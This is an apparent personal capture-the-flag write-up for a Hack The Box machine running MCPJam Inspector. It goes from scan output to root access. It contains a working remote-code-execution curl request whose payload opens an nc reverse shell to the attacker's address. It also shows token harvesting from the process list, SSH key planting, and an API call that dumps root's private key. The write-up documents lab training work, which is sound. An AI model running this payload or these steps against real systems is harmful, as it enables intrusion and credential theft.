IP=10.129.14.252
nmap -Pn -p- -T4 -vv -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP;
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# | 256 35782e790d8713052f538ee73c55b64c (ECDSA)
# |_ 256 dd568ebcdab8383e9acd0b74ee5385f8 (ED25519)
# 80/tcp open http nginx 1.18.0 (Ubuntu)
# |_http-title: DevHub - Internal Development Platform
# |_http-server-header: nginx/1.18.0 (Ubuntu)
# 6274/tcp open unknown
# | fingerprint-strings:
# | DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq:
# | HTTP/1.1 400 Bad Request
# | Connection: close
# | GetRequest:
# | HTTP/1.1 200 OK
# | access-control-allow-credentials: true
# | content-length: 466
# | content-type: text/html; charset=utf-8
# | vary: Origin
# | Date: Thu, 04 Jun 2026 16:12:10 GMT
# | Connection: close
# | <!doctype html>
# | <html lang="en">
# | <head>
# | <meta charset="UTF-8" />
# | <link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" />
# | <meta name="viewport" content="width=device-width, initial-scale=1.0" />
# | <title>MCPJam Inspector</title>
# | <script type="module" crossorigin src="/assets/index-DRYhT9Xb.js"></script>
# | <link rel="stylesheet" crossorigin href="/assets/index-XvFRNbCs.css">
# | </head>
# | <body>
# | <div id="root"></div>
# | </body>
# | </html>
# | HTTPOptions, RTSPRequest:
# | HTTP/1.1 204 No Content
# | access-control-allow-credentials: true
# | access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH
# | vary: Origin
# | content-type: text/plain; charset=UTF-8
# | Date: Thu, 04 Jun 2026 16:12:10 GMT
# |_ Connection: close
curl -I http://10.129.14.252
# HTTP/1.1 302 Moved Temporarily
# Server: nginx/1.18.0 (Ubuntu)
# Date: Thu, 04 Jun 2026 16:04:49 GMT
# Content-Type: text/html
# Content-Length: 154
# Connection: keep-alive
# Location: http://devhub.htb/
Let's add devhub.htb to our /etc/hosts. We find a website that indicates there's something running on port 6274, at the same time my nmap finished which also shows the 6274.
It's running MCPJam v1.2.4, which is vulnerable to an RCE: CVE-2026-23744. It's the same exploit as Kobold from last season, really weird to have HTB accept the same exploit twice in the span of a couple months. I just copied the payload from my Kobold writeup, essentially we can RCE through a flaw in the API:
curl -k http://devhub.htb:6274/api/mcp/connect -X POST --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.239 4444 >/tmp/f\"],\"env\":{}},\"serverId\":\"rce-test\"}"
We start our listener before sending and we get a shell as mcp-dev:
grep "sh$" /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# mcp-dev:x:1001:1001::/home/mcp-dev:/bin/bash
# analyst:x:1002:1002::/home/analyst:/bin/bash
ss -tulnp | grep LISTEN
# tcp LISTEN 0 100 127.0.0.1:59213 0.0.0.0:*
# tcp LISTEN 0 100 127.0.0.1:49129 0.0.0.0:*
# tcp LISTEN 0 100 127.0.0.1:59297 0.0.0.0:*
# tcp LISTEN 0 100 127.0.0.1:47421 0.0.0.0:*
# tcp LISTEN 0 100 127.0.0.1:41351 0.0.0.0:*
# tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
# tcp LISTEN 0 100 127.0.0.1:49193 0.0.0.0:*
# tcp LISTEN 0 511 0.0.0.0:6274 0.0.0.0:* users:(("node-MainThread",pid=1284,fd=29))
# tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
# tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
# tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:*
# tcp LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
# tcp LISTEN 0 128 [::]:22 [::]:*
Let's forward those tcp/8888, and tcp/5000, first we need to give ourselves SSH, just create a key with ssh-keygen and add the public key to /home/mcp-dev/.ssh/authorized_keys. Finally, forward with ssh's -L, up to here this box is literally a 1:1 of Kobold.
tcp/8888 is a Jupyter Lab, it requires a token to access the private environment, we can get it from the process list:
ps aux | grep jupyter
# analyst 1080 0.2 2.4 183080 97264 ? Ss 15:59 0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
We can get terminal as the analyst user and we get the user flag.
We can now explore /opt/opsmcp/server.py which we couldn't read before. Looking at it we find that it's a custom API that might we might be able to abuse to leak passwords, even though what we currently see is mock data, we can still try to interact with the live API which is running as root.
curl -X POST http://localhost:5000/tools/call -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' -H 'Content-Type: application/json' -d '{"name":"ops._admin_dump","arguments":{"confirm":true,"target":"ssh_keys"}}'
{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnN <SNIP> odWI=\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}
And we get the root private key. Let's put it in a file and parse it:
sed 's/\\n/\n/g' tmp > root_key
chmod 600 root_key
ssh -i root_key root@devhub.htb
root@devhub:~# id
# uid=0(root) gid=0(root) groups=0(root)
root@devhub:~# ls
# root.txt snap
Wow…
2026 © Philippe Cheype
Base theme by Digital Garden